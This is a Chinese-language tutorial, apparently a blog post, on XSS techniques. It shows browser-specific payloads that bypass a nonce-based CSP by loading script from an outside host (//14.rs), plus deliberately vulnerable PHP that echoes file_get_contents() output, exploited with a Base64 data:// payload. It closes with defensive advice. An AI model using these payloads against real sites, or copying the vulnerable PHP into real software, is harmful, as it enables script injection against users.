XSS--CSP绕过【firefox和chrome】和data://协议的使用
字数 1038 2025-08-26 22:11:57

XSS绕过CSP策略及data://协议使用详解

1. CSP绕过技术

1.1 基本概念

CSP(Content Security Policy)是一种安全策略,用于减轻XSS攻击的影响。当网站设置了CSP策略后,浏览器会限制脚本的执行来源。

1.2 带有nonce的CSP绕过

对于带有nonce的CSP策略,通常可以使用以下方法绕过:

Firefox绕过方法

<script src=//14.rs a="</p><script id="

Firefox会优先解析a属性后面的引号,将</p><script id=解析为字符串,从而成功引入带有nonce的script标签。

Chrome绕过方法

Chrome对标签的解析方式不同,需要利用HTML5属性解析特性:

方法一

<script src=//14.rs a="test" a="

Chrome会忽略第二个a属性及其后面的内容。

方法二

<script src=//14.rs src="

Chrome会忽略第二个src属性及其后面的内容。

1.3 关键差异

  • Firefox:优先解析属性引号,将后续内容视为字符串
  • Chrome:忽略同名的后续属性

2. data://协议的使用

2.1 基本概念

data://协议允许直接在URL中嵌入数据,格式为:

data:[<mediatype>][;base64],<data>

2.2 XSS利用场景

当遇到以下情况时,data://协议特别有用:

  1. 内容通过htmlspecialchars()转义后保存到文件
  2. 转义后的内容输出到HTML标签之间

2.3 实际案例

假设有以下PHP代码:

getnote.php:

<!DOCTYPE html>
<html>
<head>
    <title>dataXSS</title>
</head>
<body>
<form action="upnote.php" method="post">
    <p>note:</p>
    <input type="text" name="note">
    <input type="submit" name="submit">
</form>

<?php
$url = $_GET['url'];
echo "<p>your input url:</p>"."<p>".urldecode(file_get_contents($url))."</p>";
?>
</body>
</html>

upnote.php:

<?php
file_put_contents('url.txt', htmlspecialchars($_POST['note']));
header('location:getnote.php?url=url.txt');
?>

常规XSS尝试失败

直接提交<script>alert(1)</script>会被htmlspecialchars()转义,无法执行。

使用data://协议绕过

构造payload:

getnote.php?url=data://text/plain;base64,JTNDc2NyaXB0JTNFYWxlcnQlMjgxJTI5JTNDL3NjcmlwdCUzRQ==

其中JTNDc2NyaXB0JTNFYWxlcnQlMjgxJTI5JTNDL3NjcmlwdCUzRQ==<script>alert(1)</script>的Base64编码。

2.4 编码转换方法

将XSS payload转换为Base64:

// JavaScript代码
<script>alert(1)</script>

// URL编码
%3Cscript%3Ealert(1)%3C/script%3E

// Base64编码
btoa(unescape(encodeURIComponent('<script>alert(1)</script>')))
// 结果: JTNDc2NyaXB0JTNFYWxlcnQlMjgxJTI5JTNDL3NjcmlwdCUzRQ==

3. 防御建议

  1. 谨慎使用file_get_contents()处理用户输入
  2. 限制允许的URL协议,禁用data://等危险协议
  3. 对用户输入进行严格过滤和验证
  4. 使用更严格的CSP策略,避免仅依赖nonce

4. 总结

  • CSP绕过需要针对不同浏览器采用不同策略
  • data://协议可以绕过某些过滤机制,直接嵌入恶意代码
  • 理解浏览器解析HTML的差异对绕过防御至关重要
  • 防御方应实施多层防护,不依赖单一安全机制
XSS绕过CSP策略及data://协议使用详解 1. CSP绕过技术 1.1 基本概念 CSP(Content Security Policy)是一种安全策略,用于减轻XSS攻击的影响。当网站设置了CSP策略后,浏览器会限制脚本的执行来源。 1.2 带有nonce的CSP绕过 对于带有nonce的CSP策略,通常可以使用以下方法绕过: Firefox绕过方法 Firefox会优先解析 a 属性后面的引号,将 </p><script id= 解析为字符串,从而成功引入带有nonce的script标签。 Chrome绕过方法 Chrome对标签的解析方式不同,需要利用HTML5属性解析特性: 方法一 : Chrome会忽略第二个 a 属性及其后面的内容。 方法二 : Chrome会忽略第二个 src 属性及其后面的内容。 1.3 关键差异 Firefox:优先解析属性引号,将后续内容视为字符串 Chrome:忽略同名的后续属性 2. data://协议的使用 2.1 基本概念 data://协议允许直接在URL中嵌入数据,格式为: 2.2 XSS利用场景 当遇到以下情况时,data://协议特别有用: 内容通过 htmlspecialchars() 转义后保存到文件 转义后的内容输出到HTML标签之间 2.3 实际案例 假设有以下PHP代码: getnote.php : upnote.php : 常规XSS尝试失败 直接提交 <script>alert(1)</script> 会被 htmlspecialchars() 转义,无法执行。 使用data://协议绕过 构造payload: 其中 JTNDc2NyaXB0JTNFYWxlcnQlMjgxJTI5JTNDL3NjcmlwdCUzRQ== 是 <script>alert(1)</script> 的Base64编码。 2.4 编码转换方法 将XSS payload转换为Base64: 3. 防御建议 谨慎使用 file_get_contents() 处理用户输入 限制允许的URL协议,禁用data://等危险协议 对用户输入进行严格过滤和验证 使用更严格的CSP策略,避免仅依赖nonce 4. 总结 CSP绕过需要针对不同浏览器采用不同策略 data://协议可以绕过某些过滤机制,直接嵌入恶意代码 理解浏览器解析HTML的差异对绕过防御至关重要 防御方应实施多层防护,不依赖单一安全机制